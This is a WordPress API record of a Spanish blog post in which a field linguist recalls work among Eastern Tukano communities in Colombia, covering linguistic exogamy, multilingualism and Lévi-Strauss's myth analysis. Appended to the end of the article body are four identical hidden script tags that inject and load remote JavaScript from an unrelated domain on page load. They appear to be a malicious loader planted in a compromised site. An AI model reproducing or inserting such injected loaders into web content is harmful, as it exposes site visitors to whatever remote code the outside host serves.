{"id":66915,"date":"2015-09-05T11:12:07","date_gmt":"2015-09-05T09:12:07","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66915"},"modified":"2025-10-21T21:56:40","modified_gmt":"2025-10-21T19:56:40","slug":"testimonio-de-una-linguista-de-campo-en-amazonia","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/","title":{"rendered":"Testimonio de una ling\u00fcista de campo en Amazon\u00eda"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Elsa Gomez-Imbert el October 28, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Elsa Gomez-Imbert, investigadora asociada, Instituto Franc\u00e9s de Estudios Andinos.<\/em><br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\" \" src=\"\/wp-content\/uploads\/urarinas.jpg\" alt=\" \" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">ethnie des Urarinas (Amazonie)<\/p><\/div><\/p>\n<p><strong>Una experiencia inolvidable <\/strong><\/p>\n<p>Hacer trabajo de campo en el noroeste amaz\u00f3nico ha sido la experiencia que m\u00e1s ha marcado mi vida. Entre el verano de 1973 y la primavera de 1998, hice varias estad\u00edas en comunidades que hablan lenguas pertenecientes a la rama oriental de la familia Tukano: Bar\u00e1, Barasana, Ed\u00fauria, Karapana, Makuna, Tatuyo, Tuyuka.<\/p>\n<p>Estos grupos ocupan la regi\u00f3n del Vaup\u00e9s, en Colombia, cerca a la frontera con Brasil. Viven a orillas de un r\u00edo de aguas color de t\u00e9 bien macerado que fluye sobre un lecho de arena blanca y fina: el Piraparan\u00e1. Son los m\u00e1s tradicionales de la quincena de grupos Tukano orientales, sobre todo si se les compara con los que viven en Brasil. Habitat tradicional, reglas de exogamia y multiling\u00fcismo generalizado, rituales y cultura material han sido preservados y transmitidos de generaci\u00f3n en generaci\u00f3n.<\/p>\n<p>Esas estad\u00edas fueron lecciones de vida en cuanto a relaciones con el otro, con la naturaleza, que me hicieron ver el mundo de otra manera. Desgraciadamente, tuve que abandonar estas expediciones a causa de la invasi\u00f3n de la regi\u00f3n por la guerrilla.<br \/>\n&nbsp;<br \/>\n<strong>Una lecci\u00f3n de multing\u00fc\u00edsmo <\/strong><\/p>\n<p>Abord\u00e9 en primer lugar el estudio de la lengua tatuyo, seguido por el de la lengua barasana. Los grupos Tukano viven en casas comunales (malocas) que albergan a varias familias nucleares. Compartiendo su vida cotidiana, me hall\u00e9 inmersa en una de las situaciones socioling\u00fc\u00edsticas m\u00e1s fascinantes.<\/p>\n<p>Gracias al particular sistema de matrimonio de este pueblo y al multiling\u00fcismo que produce, pude pasar de una lengua a otra sin la intervenci\u00f3n del espa\u00f1ol y lograr as\u00ed la comprensi\u00f3n de ciertas caracter\u00edsticas como los tonos que habr\u00eda sido imposible de otra manera.<\/p>\n<p>En estas sociedades, se practica lo que se llama \u201cexogamia ling\u00fc\u00edstica\u201d, que en este caso funciona de la manera siguiente.<\/p>\n<p>El \u201cgrupo \u00e9tnico\u201d est\u00e1 definido por la filiaci\u00f3n patrilineal: los individuos que comparten un mismo linaje paterno son hermanos y hermanas clasificatorios. Este parentesco hace que los matrimonios dentro de un mismo grupo exog\u00e1mico est\u00e9n prohibidos, por incestuosos. Cada uno debe manifestar su filiaci\u00f3n mediante el uso cotidiano y exclusivo de la lengua paterna.<\/p>\n<p>De ah\u00ed resulta que todo individuo debe casarse con alguien de linaje paterno diferente, que marido y mujer comunican hablando lenguas diferentes, que un ni\u00f1o aprende desde la cuna por lo menos dos lenguas, la materna y la paterna; hechos que hacen que el monoling\u00fcismo sea pr\u00e1cticamente inexistente en estas sociedades.<br \/>\n&nbsp;<br \/>\n<strong>Los placeres del ling\u00fcista de campo <\/strong><\/p>\n<p>El ling\u00fcista de campo describe las lenguas que encuentra, una misi\u00f3n que le aporta mucha satisfacci\u00f3n. Aunque uno sepa por los manuales que ciertas lenguas tienen caracter\u00edsticas \u201cex\u00f3ticas\u201d para los que practican las lenguas romances, descubrirlas en el campo da la sensaci\u00f3n de haberlas creado.<\/p>\n<p>Detectar una distinci\u00f3n tonal que conmociona el significado, deber escoger una forma de conjugaci\u00f3n seg\u00fan el modo de acceso al conocimiento de un acontecimiento, o a\u00fan indicar por una marca gramatical ciertas propiedades del objeto al que nos referimos (redondo, largo, hueco, pleno), es una gimnasia mental excelente.<\/p>\n<p>La descripci\u00f3n de las lenguas permite hacerlas conocer al mundo cient\u00edfico y contribuir a su transmisi\u00f3n. Hacer descubrir, a\u00f1os m\u00e1s tarde, la originalidad de estas lenguas a sus fascinados locutores es una recompensa que borra ampliamente el desagrado de los mosquitos y otros coloraditos.<br \/>\n&nbsp;<br \/>\n<strong>La antropolog\u00eda como elemento clave para la comprensi\u00f3n y el intercambio<\/strong><\/p>\n<p>La mayor\u00eda de las lenguas de Amazon\u00eda est\u00e1n hoy en d\u00eda en peligro de desaparici\u00f3n:<\/p>\n<p>&#8211;        por parte a causa del n\u00famero restringido de locutores, de algunos centenares a unas decenas e incluso un pu\u00f1ado de individuos;<\/p>\n<p>&#8211;        por otra, v\u00edctimas del prestigio de las lenguas nacionales, espa\u00f1ol, portugu\u00e9s e incluso franc\u00e9s en Guayana.<\/p>\n<p>Preservar estas lenguas y el conocimiento del medio amaz\u00f3nico que ellas expresan es una preocupaci\u00f3n que debemos hacer nacer en los j\u00f3venes ling\u00fcistas.<\/p>\n<p>A estos j\u00f3venes ling\u00fcistas, les aconsejo la lectura de Claude L\u00e9vi-Staruss, que me ha acompa\u00f1ado desde mis primeras expediciones y me ha permitido intercambios interesantes con mis anfitriones tatuyo y barasana. Estos estaban absolutamente encantados de o\u00edr las variaciones de ciertos temas m\u00edticos que forman parte de su tradici\u00f3n, que L\u00e9vi-Strauss presenta en Lo crudo y lo cocido y que yo hab\u00eda llevado como libro de cabecera.<\/p>\n<p>Otra de sus obras, La ceramista celosa, fue la oportunidad para un intercambio epistolar apasionante con este gran sabio. Hab\u00eda descubierto entre mis archivos de campo un mito en lengua tatuyo, construido siguiendo al pie de la letra el modelo enunciado por L\u00e9vi-Strauss sobre la construcci\u00f3n de los mitos del origen de la cer\u00e1mica. La exactitud de las predicciones propuestas por L\u00e9vi-Strauss era abrumadora.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Elsa Gomez-Imbert el October 28, 2011 &nbsp; Por Elsa Gomez-Imbert, investigadora asociada, Instituto Franc\u00e9s de Estudios Andinos. Una experiencia inolvidable Hacer trabajo de campo en el noroeste amaz\u00f3nico ha sido la experiencia que m\u00e1s ha marcado mi vida. Entre el verano de 1973 y la primavera de 1998, hice varias estad\u00edas en comunidades [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66915","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Testimonio de una ling\u00fcista de campo en Amazon\u00eda - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Testimonio de una ling\u00fcista de campo en Amazon\u00eda - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Elsa Gomez-Imbert el October 28, 2011 &nbsp; Por Elsa Gomez-Imbert, investigadora asociada, Instituto Franc\u00e9s de Estudios Andinos. Una experiencia inolvidable Hacer trabajo de campo en el noroeste amaz\u00f3nico ha sido la experiencia que m\u00e1s ha marcado mi vida. Entre el verano de 1973 y la primavera de 1998, hice varias estad\u00edas en comunidades [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-05T09:12:07+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:56:40+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Testimonio de una ling\u00fcista de campo en Amazon\u00eda\",\"datePublished\":\"2015-09-05T09:12:07+00:00\",\"dateModified\":\"2025-10-21T19:56:40+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/\"},\"wordCount\":881,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/\",\"name\":\"Testimonio de una ling\u00fcista de campo en Amazon\u00eda - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-05T09:12:07+00:00\",\"dateModified\":\"2025-10-21T19:56:40+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Testimonio de una ling\u00fcista de campo en Amazon\u00eda\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Testimonio de una ling\u00fcista de campo en Amazon\u00eda - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/","og_locale":"es_ES","og_type":"article","og_title":"Testimonio de una ling\u00fcista de campo en Amazon\u00eda - Sorosoro","og_description":"Publicado por Elsa Gomez-Imbert el October 28, 2011 &nbsp; Por Elsa Gomez-Imbert, investigadora asociada, Instituto Franc\u00e9s de Estudios Andinos. Una experiencia inolvidable Hacer trabajo de campo en el noroeste amaz\u00f3nico ha sido la experiencia que m\u00e1s ha marcado mi vida. Entre el verano de 1973 y la primavera de 1998, hice varias estad\u00edas en comunidades [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/","og_site_name":"Sorosoro","article_published_time":"2015-09-05T09:12:07+00:00","article_modified_time":"2025-10-21T19:56:40+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"4 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Testimonio de una ling\u00fcista de campo en Amazon\u00eda","datePublished":"2015-09-05T09:12:07+00:00","dateModified":"2025-10-21T19:56:40+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/"},"wordCount":881,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/","name":"Testimonio de una ling\u00fcista de campo en Amazon\u00eda - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-05T09:12:07+00:00","dateModified":"2025-10-21T19:56:40+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/testimonio-de-una-linguista-de-campo-en-amazonia\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Testimonio de una ling\u00fcista de campo en Amazon\u00eda"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66915","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66915"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66915\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66915"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66915"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66915"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}